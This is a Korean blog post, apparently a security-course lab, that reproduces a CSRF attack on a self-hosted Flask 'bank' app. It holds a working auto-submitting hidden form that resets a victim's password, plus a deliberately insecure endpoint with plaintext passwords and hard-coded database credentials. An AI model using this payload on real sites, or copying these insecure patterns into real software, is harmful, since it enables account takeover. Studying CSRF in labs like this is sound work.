project

프로젝트 (bank 웹 애플리케이션에서 CSRF 공격 시뮬레이션 - 비밀번호 변경 악용)

law and security 2024. 10. 25. 17:53

 
 
📌  Kali Linux 사용 , python과 Flask를 사용해 공격 시나리오 재현 ( CSRF 취약성 테스트)


[ csrf 공격 시나리오 ]

  1. HTML 페이지 생성: 공격자는 csrf_test.html 파일을 작성하여 비밀번호 변경을 위한 숨겨진 폼을 포함합니다. 
  2. 페이지 로드: 브라우저에서 127.0.0.1:8001/csrf_test.html에 접근하여 페이지를 엽니다.
  3. 자동 폼 제출: 페이지가 로드되면 JavaScript 코드가 실행되어 폼이 자동으로 제출됩니다. 사용자는 아무런 행동을 하지 않아도 됩니다.
  4. 요청 전송: 자동 제출 과정에서 change_password.php로 POST 요청이 전송되어 비밀번호 변경 요청이 이루어집니다. 이 요청은 사용자의 세션을 이용하여 서버에서 처리됩니다.
  5. 결과 확인: 서버는 요청을 처리하고 로그를 기록한 뒤, 성공적으로 비밀번호가 변경되면 브라우저에 결과를 표시합니다.

 
* poc코드 사용 : 공격자가 피해자의 브라우저에서 비밀번호를 강제로 변경하게 만드는 코드

 

1. 칼리리눅스  바탕화면에 3개파일 생성

 
1) csrf_test.html

더보기
<html>
<body>
    <form id="csrfForm" action="http://127.0.0.1:8001/change_password.php" method="POST">
        <input type="hidden" name="username" value="yujin choi">  
        <input type="hidden" name="password" value="maliciousPassword123"> 
        <input type="submit" value="Submit">
    </form>
    <script>
        document.getElementById('csrfForm').submit(); 
    </script>
</body>
</html>

 

 <input type="hidden" name="username" value="yujin choi">  #실제 사용자 id 입력
        <input type="hidden" name="password" value="maliciousPassword123">  # 공격자가 설정한 비번 입력

 
 
2)  app.py 
 
 

 

✅  MySQL 데이터베이스에 연결하는 함수를 정의
✅ 데이터베이스에 연결할 수 없으면 오류를 로그에 기록하고 None을 반환

 

 
  루트 URL(/)에 접근했을 때 "Welcome to the CSRF Test App!"라는 메시지를 반환

 

 
✅ /csrf_test.html 경로로 접근할 때 현재 디렉토리에서 csrf_test.html 파일을 반환

 

 

✅ /change_password.php 경로로 POST 요청이 들어올 때 비밀번호 변경을 처리
✅ 사용자의 이름과 새 비밀번호를 가져와서 데이터베이스의 해당 사용자 비밀번호를 업데이트
 

 

✅ 데이터베이스 연결을 테스트하는 함수
-> 성공적으로 연결되면 로그에 기록하고, 연결할 수 없으면 오류를 기록

 

 

 
   host='0.0.0.0'은 외부에서 접근할 수 있도록 설정

더보기

 

from flask import Flask, request, send_from_directory
import logging
import mysql.connector  

app = Flask(__name__)

logging.basicConfig(level=logging.DEBUG)

def get_db_connection():
    try:
        conn = mysql.connector.connect(
            host="182.230.(000).(000)",
            database="bank",
            user="bankuser1",
            password="Bankuser1!"
        )
        return conn
    except mysql.connector.Error as err:
        logging.error(f"Database connection error: {err}")
        return None

@app.route('/')
def index():
    return "Welcome to the CSRF Test App!"

@app.route('/csrf_test.html')
def csrf_test():
    return send_from_directory('.', 'csrf_test.html')

@app.route('/change_password.php', methods=['POST'])
def change_password():
    username = request.form.get('username')  
    new_password = request.form.get('password')  

    logging.info(f"Received password change request for user: {username} with password: {new_password}")

    conn = None  # conn 변수를 미리 선언
    try:
        conn = get_db_connection()
        cursor = conn.cursor()

        cursor.execute("UPDATE users SET password = %s WHERE username = %s", (new_password, username))
        
        row_count = cursor.rowcount
        conn.commit()  

        logging.info(f"Rows affected: {row_count}")

        if row_count == 0:
            return "User not found or password unchanged", 404
        
        return f"Password for user {username} changed to: {new_password}", 200

    except Exception as e:
        logging.error(f"Database error: {e}")
        return f"Error changing password: {str(e)}", 500

    finally:
        if conn is not None:
            conn.close()

def test_db_connection():
    try:
        conn = get_db_connection()
        logging.info("Successfully connected to the database.")
        conn.close()
    except Exception as e:
        logging.error(f"Could not connect to the database: {e}")

if __name__ == '__main__':
    test_db_connection()
    app.run(host='0.0.0.0', port=8001)

 

 
 
 
3)  change-password.html ( 생략 가능)
 

더보기
<html>
<body>
    <h1>비밀번호 변경 요청이 수신되었습니다!</h1>
    <p>이것은 로컬 테스트용 페이지입니다.</p>
</body>
</html>

✅  CSRF 공격의 결과를 사용자에게 보여주기 위해 사용 
 
-> 비밀번호 변경 요청이 성공적으로 수신되었음을 알리는 메시지를 포함

 
 

kali linux 바탕화면

 
 

 

2. 터미널 에서 (python app.py)실행

 

#바탕화면(데스크탑) 폴더로 이동
cd ~/Desktop

# 입력 후 -> 브라우저에 127.0.0.1:8001/csrf_test.html검색
python app.py

 

1) MariaDB 서버의 설정 파일 변경
 

더보기

< bind-address 설정을 통해 MariaDB 서버가 요청을 수신할 IP 주소를 지정 >

 

하는이유 ❓ 기본적으로 127.0.0.1로 설정되어 있으면, 로컬에서만 접근할 수 있다. 

 

┌──(kali㉿kali)-[~]
└─$ sudo nano /etc/mysql/mariadb.conf.d/50-server.cnf

 

-&amp;amp;amp;gt; bind- address = 0.0.0.0 으로 변경 (외부에서 접근하도록 변경)

 

 
 
2)  가상 환경 활성화 

더보기
<가상 환경 만들기>

#Python3와 venv 설치 확인:
sudo apt install python3 python3-venv

#가상 환경 생성
python3 -m venv myenv

# 가상 환경이 활성
source venv/bin/activate

#  MySQL Connector 설치 - mysql-connector-python 패키지를 설치
pip install mysql-connector-python

# 설치 확인- Python 명령어를 통해 설치된 모듈을 확인 -> 오류가 없으면 설치가 성공적으로 완료
python -c "import mysql.connector; print('MySQL Connector is installed!')"

# app.py를 실행
python app.py

 

 

 

 

 

 python app.py 명령어를 실행해야 Flask 애플리케이션이 서버에서 실행.
이 과정이 완료된 후에야 브라우저에서 127.0.0.1:8001/csrf_test.html에 접근할 수 있다. 

 

3.  CSRF 테스트 페이지 열기 ( 127.0.0.1:8001/csrf_test.html)

 
✅  filre fox 브라우저 -> 127.0.0.1:8001/csrf_test.html -> 127.0.0.1:8001/change_password.php로 리디렉션
 

 

 
 

  • 페이지 로드: 사용자가 csrf_test.html 페이지에 접속하면,
  • 자동 제출: JavaScript 코드가 실행되어, 사용자가 따로 클릭하지 않아도 폼이 자동으로 제출
  • 요청 전송: 이로 인해 change_password.php 경로로 요청이 전송되어 비밀번호 변경 요청이 이루어진다.
  • 결과 확인: 서버는 요청을 처리하고 로그를 기록하게 되며, 성공적으로 비밀번호가 변경되면 브라우저에 결과가 표시

 

-> 사용자의 직접적인 행동 없이 공격자가 설정한 요청이 서버에 전송

 
 

더보기

 

< CSRF 보호>

 

 만약 해당 페이지에서 CSRF 보호가 활성화되어 있다면, 요청이 거부될 수 있다.

이 경우, 서버가 요청을 차단하고 "사용자 정보를 찾을 수 없습니다."라는 메시지를 반환할 수 있다.

 
 
 

4.   csrf 공격 확인  ( 서버 로그 확인)

 

1) 터미널 로그: Flask 애플리케이션이 실행되고 있는 터미널에서 로그 메시지를 확인

 

 

INFO:root:Received password change request for user: yujin with password: maliciousPassword123

# 비밀번호 변경 요청이 수신되었음을 보여준다.

INFO:root: Rows affected :1 

#공격 성공

 
 

2) 브라우저 : 요청이 성공적으로 처리되면, 브라우저에서 다음과 같은 메시지를 포함하는 페이지가 난다
 
 

 
 
 
✅   비밀번호가 변경되었음을 알리는 메시지: 
 
(Password for user yujin changed to: maliciousPassword123)가 나타난다면,
CSRF 요청이 성공적으로 처리된 것

 
  

3) 데이터베이스 확인

 

 

┌──(kali㉿kali)-[~]
└─$ mysql -u bankuser1 -p -h 182.230.(000).(000) -D bank --skip-ssl

 
 

 

✅    초기  설정 정보 :  userid : yujin , password : yujin1234^

 
✅   공격 후 변화 :  userid : yujin , password : maliciousPassword123
 

 
5.  초기 사용자 정보  로그인 시도 

 

 
 

✅    로그인이 불가 확인